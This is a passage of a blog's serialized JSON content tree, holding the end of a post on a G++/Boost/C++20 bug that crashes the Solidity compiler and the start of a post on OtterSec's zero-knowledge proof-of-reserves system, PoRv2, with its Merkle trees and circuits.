here\n",{"type":24,"tag":90,"props":94125,"children":94126},{"class":92,"line":574},[94127],{"type":24,"tag":90,"props":94128,"children":94129},{"style":114},[94130],{"type":29,"value":83672},{"type":24,"tag":90,"props":94132,"children":94133},{"class":92,"line":606},[94134],{"type":24,"tag":90,"props":94135,"children":94136},{"style":114},[94137],{"type":29,"value":827},{"type":24,"tag":25,"props":94139,"children":94140},{},[94141],{"type":29,"value":94142},"Under normal circumstances, this expression is benign. But:",{"type":24,"tag":3207,"props":94144,"children":94145},{},[94146,94151,94156],{"type":24,"tag":3104,"props":94147,"children":94148},{},[94149],{"type":29,"value":94150},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":24,"tag":3104,"props":94152,"children":94153},{},[94154],{"type":29,"value":94155},"C++20 reverses the arguments",{"type":24,"tag":3104,"props":94157,"children":94158},{},[94159],{"type":29,"value":94160},"The non-member operator recursively calls itself",{"type":24,"tag":25,"props":94162,"children":94163},{},[94164],{"type":29,"value":94165},"💥: segmentation fault.",{"type":24,"tag":20586,"props":94167,"children":94168},{},[],{"type":24,"tag":850,"props":94170,"children":94172},{"id":94171},"part-v-what-environments-are-affected",[94173],{"type":29,"value":94174},"Part V: What Environments are Affected?",{"type":24,"tag":25,"props":94176,"children":94177},{},[94178],{"type":29,"value":94179},"If a system uses any of the following:",{"type":24,"tag":3207,"props":94181,"children":94182},{},[94183,94188,94193],{"type":24,"tag":3104,"props":94184,"children":94185},{},[94186],{"type":29,"value":94187},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":24,"tag":3104,"props":94189,"children":94190},{},[94191],{"type":29,"value":94192},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":24,"tag":3104,"props":94194,"children":94195},{},[94196],{"type":29,"value":94197},"C++20 enabled (default in recent Solidity builds)",{"type":24,"tag":25,"props":94199,"children":94200},{},[94201,94203,94208,94210,94216],{"type":29,"value":94202},"They will encounter this crash ",{"type":24,"tag":7711,"props":94204,"children":94205},{},[94206],{"type":29,"value":94207},"as soon as",{"type":29,"value":94209}," it processes a Solidity source with a length expression like ",{"type":24,"tag":32,"props":94211,"children":94213},{"className":94212},[],[94214],{"type":29,"value":94215},"T[0]",{"type":29,"value":94217}," or anything involving compile-time rational comparisons.",{"type":24,"tag":20586,"props":94219,"children":94220},{},[],{"type":24,"tag":850,"props":94222,"children":94224},{"id":94223},"recommendations",[94225],{"type":29,"value":94226},"Recommendations",{"type":24,"tag":3207,"props":94228,"children":94229},{},[94230,94238],{"type":24,"tag":3104,"props":94231,"children":94232},{},[94233],{"type":24,"tag":7711,"props":94234,"children":94235},{},[94236],{"type":29,"value":94237},"Update Boost to ≥ 1.75",{"type":24,"tag":3104,"props":94239,"children":94240},{},[94241],{"type":24,"tag":7711,"props":94242,"children":94243},{},[94244],{"type":29,"value":94245},"Pin G++ to v14 or later",{"type":24,"tag":20586,"props":94247,"children":94248},{},[],{"type":24,"tag":850,"props":94250,"children":94251},{"id":30743},[94252],{"type":29,"value":20741},{"type":24,"tag":25,"props":94254,"children":94255},{},[94256],{"type":29,"value":94257},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":24,"tag":25,"props":94259,"children":94260},{},[94261,94263,94267],{"type":29,"value":94262},"But it ",{"type":24,"tag":7711,"props":94264,"children":94265},{},[94266],{"type":29,"value":6359},{"type":29,"value":94268}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":24,"tag":25,"props":94270,"children":94271},{},[94272],{"type":29,"value":94273},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":24,"tag":25,"props":94275,"children":94276},{},[94277],{"type":29,"value":94278},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":24,"tag":5249,"props":94280,"children":94281},{},[94282],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":94284},[94285,94286,94291,94294,94295,94296,94297,94298],{"id":91968,"depth":200,"text":91971},{"id":92057,"depth":200,"text":92060,"children":94287},[94288,94289,94290],{"id":92063,"depth":239,"text":92066},{"id":92131,"depth":239,"text":92134},{"id":92222,"depth":239,"text":92225},{"id":92806,"depth":200,"text":92809,"children":94292},[94293],{"id":92812,"depth":239,"text":92815},{"id":92923,"depth":200,"text":92926},{"id":93770,"depth":200,"text":93773},{"id":94171,"depth":200,"text":94174},{"id":94223,"depth":200,"text":94226},{"id":30743,"depth":200,"text":20741},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":94303,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":94304,"description":94305,"date":94306,"author":33013,"image":94307,"isFeatured":16,"onBlogPage":16,"tags":94309,"body":94312,"_type":5270,"_id":99088,"_source":5272,"_file":99089,"_stem":99090,"_extension":5275},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":94308,"width":14,"height":14},"/posts/por/title.png",[94310,94311],"zk","por",{"type":21,"children":94313,"toc":99065},[94314,94320,94332,94344,94349,94381,94395,94401,94413,94418,94423,94460,94465,94471,94476,94483,94488,94514,94519,94525,94545,94559,94567,94572,94577,94585,94598,94604,94686,94692,94697,94710,94715,94722,94746,94754,94759,94765,94770,95218,95231,95237,95242,95250,95268,95276,95289,95297,96958,96963,96970,96976,96981,96988,97004,97011,97019,97026,98537,98542,98549,98555,98560,98587,98592,98611,98617,98625,98643,98692,98700,98719,98741,98747,98760,98765,98772,98777,98840,98845,98852,98872,98878,98883,98889,98894,98938,98943,98951,98957,98962,99004,99009,99017,99022,99030,99034,99039,99052],{"type":24,"tag":850,"props":94315,"children":94317},{"id":94316},"what-is-a-proof-of-reserves",[94318],{"type":29,"value":94319},"What is a Proof of Reserves?",{"type":24,"tag":25,"props":94321,"children":94322},{},[94323,94325,94330],{"type":29,"value":94324},"At its heart, ",{"type":24,"tag":7711,"props":94326,"children":94327},{},[94328],{"type":29,"value":94329},"Proof of Reserves (PoR)",{"type":29,"value":94331}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":24,"tag":25,"props":94333,"children":94334},{},[94335,94337,94342],{"type":29,"value":94336},"Think of it this way: ",{"type":24,"tag":7711,"props":94338,"children":94339},{},[94340],{"type":29,"value":94341},"PoR",{"type":29,"value":94343}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":24,"tag":25,"props":94345,"children":94346},{},[94347],{"type":29,"value":94348},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":24,"tag":25,"props":94350,"children":94351},{},[94352,94354,94361,94363,94370,94372,94379],{"type":29,"value":94353},"We from OtterSec, in partnership with ",{"type":24,"tag":69,"props":94355,"children":94358},{"href":94356,"rel":94357},"https://backpack.exchange/",[73],[94359],{"type":29,"value":94360},"Backpack",{"type":29,"value":94362},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":24,"tag":69,"props":94364,"children":94367},{"href":94365,"rel":94366},"https://github.com/otter-sec/por_v2",[73],[94368],{"type":29,"value":94369},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":29,"value":94371}," was based on ",{"type":24,"tag":69,"props":94373,"children":94376},{"href":94374,"rel":94375},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[73],[94377],{"type":29,"value":94378},"OKX Proof of Reserves algorithm",{"type":29,"value":94380}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":24,"tag":25,"props":94382,"children":94383},{},[94384,94386,94393],{"type":29,"value":94385},"In addition, we also created and open-sourced a ",{"type":24,"tag":69,"props":94387,"children":94390},{"href":94388,"rel":94389},"https://github.com/otter-sec/por_verifier_server",[73],[94391],{"type":29,"value":94392},"PoR verifier server",{"type":29,"value":94394}," that receives the proofs and validates them.",{"type":24,"tag":850,"props":94396,"children":94398},{"id":94397},"why-do-we-use-zk-for-por",[94399],{"type":29,"value":94400},"Why do we use ZK for PoR?",{"type":24,"tag":25,"props":94402,"children":94403},{},[94404,94406,94411],{"type":29,"value":94405},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":24,"tag":7711,"props":94407,"children":94408},{},[94409],{"type":29,"value":94410},"Zero-Knowledge Proofs (ZKPs)",{"type":29,"value":94412}," become game-changers.",{"type":24,"tag":25,"props":94414,"children":94415},{},[94416],{"type":29,"value":94417},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":24,"tag":25,"props":94419,"children":94420},{},[94421],{"type":29,"value":94422},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":24,"tag":3100,"props":94424,"children":94425},{},[94426,94443],{"type":24,"tag":3104,"props":94427,"children":94428},{},[94429,94434,94436,94442],{"type":24,"tag":7711,"props":94430,"children":94431},{},[94432],{"type":29,"value":94433},"Sum proof",{"type":29,"value":94435},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":24,"tag":32,"props":94437,"children":94439},{"className":94438},[],[94440],{"type":29,"value":94441},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":29,"value":22538},{"type":24,"tag":3104,"props":94444,"children":94445},{},[94446,94451,94453,94458],{"type":24,"tag":7711,"props":94447,"children":94448},{},[94449],{"type":29,"value":94450},"Non-negativity",{"type":29,"value":94452},": All users have a ",{"type":24,"tag":7711,"props":94454,"children":94455},{},[94456],{"type":29,"value":94457},"positive",{"type":29,"value":94459}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":24,"tag":25,"props":94461,"children":94462},{},[94463],{"type":29,"value":94464},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":24,"tag":850,"props":94466,"children":94468},{"id":94467},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[94469],{"type":29,"value":94470},"What is a Merkle Tree and how does it help in a PoR?",{"type":24,"tag":25,"props":94472,"children":94473},{},[94474],{"type":29,"value":94475},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":24,"tag":25,"props":94477,"children":94478},{},[94479],{"type":24,"tag":6301,"props":94480,"children":94482},{"alt":52402,"src":94481},"/posts/por/merkle-tree.png",[],{"type":24,"tag":25,"props":94484,"children":94485},{},[94486],{"type":29,"value":94487},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":24,"tag":3100,"props":94489,"children":94490},{},[94491,94504,94509],{"type":24,"tag":3104,"props":94492,"children":94493},{},[94494,94496,94502],{"type":29,"value":94495},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":24,"tag":32,"props":94497,"children":94499},{"className":94498},[],[94500],{"type":29,"value":94501},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":29,"value":94503},");",{"type":24,"tag":3104,"props":94505,"children":94506},{},[94507],{"type":29,"value":94508},"The Merkle tree is made public;",{"type":24,"tag":3104,"props":94510,"children":94511},{},[94512],{"type":29,"value":94513},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":24,"tag":25,"props":94515,"children":94516},{},[94517],{"type":29,"value":94518},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":24,"tag":850,"props":94520,"children":94522},{"id":94521},"ottersec-porv2",[94523],{"type":29,"value":94524},"OtterSec PoRv2",{"type":24,"tag":25,"props":94526,"children":94527},{},[94528,94534,94536,94543],{"type":24,"tag":69,"props":94529,"children":94531},{"href":94365,"rel":94530},[73],[94532],{"type":29,"value":94533},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":29,"value":94535},", which uses the ",{"type":24,"tag":69,"props":94537,"children":94540},{"href":94538,"rel":94539},"https://github.com/0xPolygonZero/plonky2",[73],[94541],{"type":29,"value":94542},"plonky2 ZK algorithm",{"type":29,"value":94544}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":24,"tag":25,"props":94546,"children":94547},{},[94548,94550,94557],{"type":29,"value":94549},"We named it PoRv2 because we already had a version based on ",{"type":24,"tag":69,"props":94551,"children":94554},{"href":94552,"rel":94553},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[73],[94555],{"type":29,"value":94556},"Vitalik's proof of solvency",{"type":29,"value":94558},", which was not optimal.",{"type":24,"tag":25,"props":94560,"children":94561},{},[94562],{"type":24,"tag":7711,"props":94563,"children":94564},{},[94565],{"type":29,"value":94566},"Non-negativity Proof",{"type":24,"tag":25,"props":94568,"children":94569},{},[94570],{"type":29,"value":94571},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":24,"tag":25,"props":94573,"children":94574},{},[94575],{"type":29,"value":94576},"We also check for overflows during summation to prevent tampering in the final result.",{"type":24,"tag":25,"props":94578,"children":94579},{},[94580],{"type":24,"tag":7711,"props":94581,"children":94582},{},[94583],{"type":29,"value":94584},"Sum Proof",{"type":24,"tag":25,"props":94586,"children":94587},{},[94588,94590,94596],{"type":29,"value":94589},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":24,"tag":32,"props":94591,"children":94593},{"className":94592},[],[94594],{"type":29,"value":94595},"BTC final: user1_btc + user2_btc ...",{"type":29,"value":94597},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":24,"tag":1019,"props":94599,"children":94601},{"id":94600},"what-are-the-ottersec-porv2-key-points",[94602],{"type":29,"value":94603},"What are the OtterSec PoRv2 key points?",{"type":24,"tag":3100,"props":94605,"children":94606},{},[94607,94617,94635,94645,94676],{"type":24,"tag":3104,"props":94608,"children":94609},{},[94610,94615],{"type":24,"tag":7711,"props":94611,"children":94612},{},[94613],{"type":29,"value":94614},"Transparency",{"type":29,"value":94616},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":24,"tag":3104,"props":94618,"children":94619},{},[94620,94625,94627,94634],{"type":24,"tag":7711,"props":94621,"children":94622},{},[94623],{"type":29,"value":94624},"Time-efficiency",{"type":29,"value":94626},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":24,"tag":69,"props":94628,"children":94631},{"href":94629,"rel":94630},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[73],[94632],{"type":29,"value":94633},"Check our benchmark",{"type":29,"value":226},{"type":24,"tag":3104,"props":94636,"children":94637},{},[94638,94643],{"type":24,"tag":7711,"props":94639,"children":94640},{},[94641],{"type":29,"value":94642},"Memory-efficiency",{"type":29,"value":94644},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":24,"tag":3104,"props":94646,"children":94647},{},[94648,94653,94655,94660,94662,94667,94669,94674],{"type":24,"tag":7711,"props":94649,"children":94650},{},[94651],{"type":29,"value":94652},"Small-proofs",{"type":29,"value":94654},": We were able to reduce the final proof to less than ",{"type":24,"tag":7711,"props":94656,"children":94657},{},[94658],{"type":29,"value":94659},"500KB",{"type":29,"value":94661}," and each inclusion proof to ",{"type":24,"tag":7711,"props":94663,"children":94664},{},[94665],{"type":29,"value":94666},"~52KB",{"type":29,"value":94668},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":24,"tag":7711,"props":94670,"children":94671},{},[94672],{"type":29,"value":94673},"200MB",{"type":29,"value":94675}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":24,"tag":3104,"props":94677,"children":94678},{},[94679,94684],{"type":24,"tag":7711,"props":94680,"children":94681},{},[94682],{"type":29,"value":94683},"Privacy",{"type":29,"value":94685},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":24,"tag":850,"props":94687,"children":94689},{"id":94688},"zk-circuits",[94690],{"type":29,"value":94691},"ZK Circuits",{"type":24,"tag":25,"props":94693,"children":94694},{},[94695],{"type":29,"value":94696},"We use two different ZK circuits to generate the final proof:",{"type":24,"tag":3100,"props":94698,"children":94699},{},[94700,94705],{"type":24,"tag":3104,"props":94701,"children":94702},{},[94703],{"type":29,"value":94704},"Batch circuit",{"type":24,"tag":3104,"props":94706,"children":94707},{},[94708],{"type":29,"value":94709},"Recursive circuit",{"type":24,"tag":25,"props":94711,"children":94712},{},[94713],{"type":29,"value":94714},"With those two circuits, we can generate the proofs recursive tree:",{"type":24,"tag":25,"props":94716,"children":94717},{},[94718],{"type":24,"tag":6301,"props":94719,"children":94721},{"alt":52402,"src":94720},"/posts/por/batch-circuit.png",[],{"type":24,"tag":5339,"props":94723,"children":94724},{},[94725],{"type":24,"tag":25,"props":94726,"children":94727},{},[94728,94730,94736,94738,94744],{"type":29,"value":94729},"Note: We are using 512 as ",{"type":24,"tag":32,"props":94731,"children":94733},{"className":94732},[],[94734],{"type":29,"value":94735},"BATCH_SIZE",{"type":29,"value":94737}," and 8 as ",{"type":24,"tag":32,"props":94739,"children":94741},{"className":94740},[],[94742],{"type":29,"value":94743},"RECURSIVE_SIZE",{"type":29,"value":94745}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":24,"tag":5339,"props":94747,"children":94748},{},[94749],{"type":24,"tag":25,"props":94750,"children":94751},{},[94752],{"type":29,"value":94753},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":24,"tag":25,"props":94755,"children":94756},{},[94757],{"type":29,"value":94758},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":24,"tag":1019,"props":94760,"children":94762},{"id":94761},"leaf-nodes",[94763],{"type":29,"value":94764},"Leaf Nodes",{"type":24,"tag":25,"props":94766,"children":94767},{},[94768],{"type":29,"value":94769},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":24,"tag":25,"props":94771,"children":94772},{},[94773],{"type":24,"tag":32,"props":94774,"children":94776},{"className":94775},[6368,6369],[94777],{"type":24,"tag":90,"props":94778,"children":94780},{"className":94779},[6374],[94781],{"type":24,"tag":90,"props":94782,"children":94784},{"className":94783,"ariaHidden":6380},[6379],[94785,94812],{"type":24,"tag":90,"props":94786,"children":94788},{"className":94787},[6385],[94789,94794,94799,94803,94808],{"type":24,"tag":90,"props":94790,"children":94793},{"className":94791,"style":94792},[6390],"height:0.6944em;",[],{"type":24,"tag":90,"props":94795,"children":94797},{"className":94796},[6396,23384],[94798],{"type":29,"value":86175},{"type":24,"tag":90,"props":94800,"children":94802},{"className":94801,"style":6573},[6475],[],{"type":24,"tag":90,"props":94804,"children":94806},{"className":94805},[6578],[94807],{"type":29,"value":5491},{"type":24,"tag":90,"props":94809,"children":94811},{"className":94810,"style":6573},[6475],[],{"type":24,"tag":90,"props":94813,"children":94815},{"className":94814},[6385],[94816,94821,94826,94832,94837,94842,94848,94853,94858,94863,94869,94874,94880,94886,94893,94899,94905,94965,94970,94976,94981,94986,94991,94996,95001,95006,95011,95016,95021,95078,95083,95088,95093,95098,95103,95108,95115,95120,95126,95131,95137,95143,95148,95153,95158,95163,95168,95173,95178,95183,95188,95193,95198,95203,95208,95213],{"type":24,"tag":90,"props":94817,"children":94820},{"className":94818,"style":94819},[6390],"height:1.06em;vertical-align:-0.31em;",[],{"type":24,"tag":90,"props":94822,"children":94824},{"className":94823,"style":23385},[6396,23384],[94825],{"type":29,"value":23388},{"type":24,"tag":90,"props":94827,"children":94829},{"className":94828},[6396,23384],[94830],{"type":29,"value":94831},"ose",{"type":24,"tag":90,"props":94833,"children":94835},{"className":94834},[6396,23384],[94836],{"type":29,"value":6123},{"type":24,"tag":90,"props":94838,"children":94840},{"className":94839},[6396,23384],[94841],{"type":29,"value":72392},{"type":24,"tag":90,"props":94843,"children":94845},{"className":94844},[6396,23384],[94846],{"type":29,"value":94847},"o",{"type":24,"tag":90,"props":94849,"children":94851},{"className":94850},[6396,23384],[94852],{"type":29,"value":58228},{"type":24,"tag":90,"props":94854,"children":94856},{"className":94855},[23513],[94857],{"type":29,"value":117},{"type":24,"tag":90,"props":94859,"children":94861},{"className":94860},[6396,23384],[94862],{"type":29,"value":69},{"type":24,"tag":90,"props":94864,"children":94866},{"className":94865},[6396,23384],[94867],{"type":29,"value":94868},"sse",{"type":24,"tag":90,"props":94870,"children":94872},{"className":94871},[6396,23384],[94873],{"type":29,"value":23526},{"type":24,"tag":90,"props":94875,"children":94878},{"className":94876,"style":94877},[6396],"margin-right:0.02778em;",[94879],{"type":29,"value":5482},{"type":24,"tag":90,"props":94881,"children":94883},{"className":94882},[6396,23384],[94884],{"type":29,"value":94885},"ba",{"type":24,"tag":90,"props":94887,"children":94890},{"className":94888,"style":94889},[6396,23384],"margin-right:0.01968em;",[94891],{"type":29,"value":94892},"l",{"type":24,"tag":90,"props":94894,"children":94896},{"className":94895},[6396,23384],[94897],{"type":29,"value":94898},"an",{"type":24,"tag":90,"props":94900,"children":94902},{"className":94901},[6396,23384],[94903],{"type":29,"value":94904},"ce",{"type":24,"tag":90,"props":94906,"children":94908},{"className":94907},[6396],[94909,94914],{"type":24,"tag":90,"props":94910,"children":94912},{"className":94911},[6396,23384],[94913],{"type":29,"value":13020},{"type":24,"tag":90,"props":94915,"children":94917},{"className":94916},[6412],[94918],{"type":24,"tag":90,"props":94919,"children":94921},{"className":94920},[6417,23438],[94922,94953],{"type":24,"tag":90,"props":94923,"children":94925},{"className":94924},[6422],[94926,94948],{"type":24,"tag":90,"props":94927,"children":94930},{"className":94928,"style":94929},[6427],"height:0.3011em;",[94931],{"type":24,"tag":90,"props":94932,"children":94934},{"style":94933},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[94935,94939],{"type":24,"tag":90,"props":94936,"children":94938},{"className":94937,"style":6437},[6436],[],{"type":24,"tag":90,"props":94940,"children":94942},{"className":94941},[6442,6443,6444,6445],[94943],{"type":24,"tag":90,"props":94944,"children":94946},{"className":94945},[6396,6445],[94947],{"type":29,"value":6408},{"type":24,"tag":90,"props":94949,"children":94951},{"className":94950},[23541],[94952],{"type":29,"value":23544},{"type":24,"tag":90,"props":94954,"children":94956},{"className":94955},[6422],[94957],{"type":24,"tag":90,"props":94958,"children":94961},{"className":94959,"style":94960},[6427],"height:0.15em;",[94962],{"type":24,"tag":90,"props":94963,"children":94964},{},[],{"type":24,"tag":90,"props":94966,"children":94968},{"className":94967},[6475],[94969],{"type":29,"value":23485},{"type":24,"tag":90,"props":94971,"children":94973},{"className":94972},[6396],[94974],{"type":29,"value":94975},"∣∣",{"type":24,"tag":90,"props":94977,"children":94979},{"className":94978},[6475],[94980],{"type":29,"value":23485},{"type":24,"tag":90,"props":94982,"children":94984},{"className":94983},[6396,23384],[94985],{"type":29,"value":69},{"type":24,"tag":90,"props":94987,"children":94989},{"className":94988},[6396,23384],[94990],{"type":29,"value":94868},{"type":24,"tag":90,"props":94992,"children":94994},{"className":94993},[6396,23384],[94995],{"type":29,"value":23526},{"type":24,"tag":90,"props":94997,"children":94999},{"className":94998,"style":94877},[6396],[95000],{"type":29,"value":5482},{"type":24,"tag":90,"props":95002,"children":95004},{"className":95003},[6396,23384],[95005],{"type":29,"value":94885},{"type":24,"tag":90,"props":95007,"children":95009},{"className":95008,"style":94889},[6396,23384],[95010],{"type":29,"value":94892},{"type":24,"tag":90,"props":95012,"children":95014},{"className":95013},[6396,23384],[95015],{"type":29,"value":94898},{"type":24,"tag":90,"props":95017,"children":95019},{"className":95018},[6396,23384],[95020],{"type":29,"value":94904},{"type":24,"tag":90,"props":95022,"children":95024},{"className":95023},[6396],[95025,95030],{"type":24,"tag":90,"props":95026,"children":95028},{"className":95027},[6396,23384],[95029],{"type":29,"value":13020},{"type":24,"tag":90,"props":95031,"children":95033},{"className":95032},[6412],[95034],{"type":24,"tag":90,"props":95035,"children":95037},{"className":95036},[6417,23438],[95038,95067],{"type":24,"tag":90,"props":95039,"children":95041},{"className":95040},[6422],[95042,95062],{"type":24,"tag":90,"props":95043,"children":95045},{"className":95044,"style":94929},[6427],[95046],{"type":24,"tag":90,"props":95047,"children":95048},{"style":94933},[95049,95053],{"type":24,"tag":90,"props":95050,"children":95052},{"className":95051,"style":6437},[6436],[],{"type":24,"tag":90,"props":95054,"children":95056},{"className":95055},[6442,6443,6444,6445],[95057],{"type":24,"tag":90,"props":95058,"children":95060},{"className":95059},[6396,6445],[95061],{"type":29,"value":534},{"type":24,"tag":90,"props":95063,"children":95065},{"className":95064},[23541],[95066],{"type":29,"value":23544},{"type":24,"tag":90,"props":95068,"children":95070},{"className":95069},[6422],[95071],{"type":24,"tag":90,"props":95072,"children":95074},{"className":95073,"style":94960},[6427],[95075],{"type":24,"tag":90,"props":95076,"children":95077},{},[],{"type":24,"tag":90,"props":95079,"children":95081},{"className":95080},[6475],[95082],{"type":29,"value":23485},{"type":24,"tag":90,"props":95084,"children":95086},{"className":95085},[6396],[95087],{"type":29,"value":3013},{"type":24,"tag":90,"props":95089,"children":95091},{"className":95090},[6475],[95092],{"type":29,"value":23485},{"type":24,"tag":90,"props":95094,"children":95096},{"className":95095},[6396],[95097],{"type":29,"value":94975},{"type":24,"tag":90,"props":95099,"children":95101},{"className":95100},[6475],[95102],{"type":29,"value":23485},{"type":24,"tag":90,"props":95104,"children":95106},{"className":95105,"style":23843},[6396,23384],[95107],{"type":29,"value":23846},{"type":24,"tag":90,"props":95109,"children":95112},{"className":95110,"style":95111},[6396,23384],"margin-right:0.08125em;",[95113],{"type":29,"value":95114},"H",{"type":24,"tag":90,"props":95116,"children":95118},{"className":95117},[6396,23384],[95119],{"type":29,"value":78597},{"type":24,"tag":90,"props":95121,"children":95123},{"className":95122},[6396],[95124],{"type":29,"value":95125},"256",{"type":24,"tag":90,"props":95127,"children":95129},{"className":95128},[23513],[95130],{"type":29,"value":117},{"type":24,"tag":90,"props":95132,"children":95134},{"className":95133},[6396,23384],[95135],{"type":29,"value":95136},"u",{"type":24,"tag":90,"props":95138,"children":95140},{"className":95139,"style":94877},[6396,23384],[95141],{"type":29,"value":95142},"ser",{"type":24,"tag":90,"props":95144,"children":95146},{"className":95145,"style":94877},[6396],[95147],{"type":29,"value":5482},{"type":24,"tag":90,"props":95149,"children":95151},{"className":95150},[6396,23384],[95152],{"type":29,"value":6123},{"type":24,"tag":90,"props":95154,"children":95156},{"className":95155},[6396,23384],[95157],{"type":29,"value":72392},{"type":24,"tag":90,"props":95159,"children":95161},{"className":95160},[23535],[95162],{"type":29,"value":517},{"type":24,"tag":90,"props":95164,"children":95166},{"className":95165},[6475],[95167],{"type":29,"value":23485},{"type":24,"tag":90,"props":95169,"children":95171},{"className":95170},[6396],[95172],{"type":29,"value":94975},{"type":24,"tag":90,"props":95174,"children":95176},{"className":95175},[6475],[95177],{"type":29,"value":23485},{"type":24,"tag":90,"props":95179,"children":95181},{"className":95180},[6396,23384],[95182],{"type":29,"value":95136},{"type":24,"tag":90,"props":95184,"children":95186},{"className":95185,"style":94877},[6396,23384],[95187],{"type":29,"value":95142},{"type":24,"tag":90,"props":95189,"children":95191},{"className":95190,"style":94877},[6396],[95192],{"type":29,"value":5482},{"type":24,"tag":90,"props":95194,"children":95196},{"className":95195},[6396,23384],[95197],{"type":29,"value":58228},{"type":24,"tag":90,"props":95199,"children":95201},{"className":95200},[6396,23384],[95202],{"type":29,"value":94847},{"type":24,"tag":90,"props":95204,"children":95206},{"className":95205},[6396,23384],[95207],{"type":29,"value":58228},{"type":24,"tag":90,"props":95209,"children":95211},{"className":95210},[6396,23384],[95212],{"type":29,"value":94904},{"type":24,"tag":90,"props":95214,"children":95216},{"className":95215},[23535],[95217],{"type":29,"value":517},{"type":24,"tag":25,"props":95219,"children":95220},{},[95221,95223,95229],{"type":29,"value":95222},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":24,"tag":32,"props":95224,"children":95226},{"className":95225},[],[95227],{"type":29,"value":95228},"uuid",{"type":29,"value":95230},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data 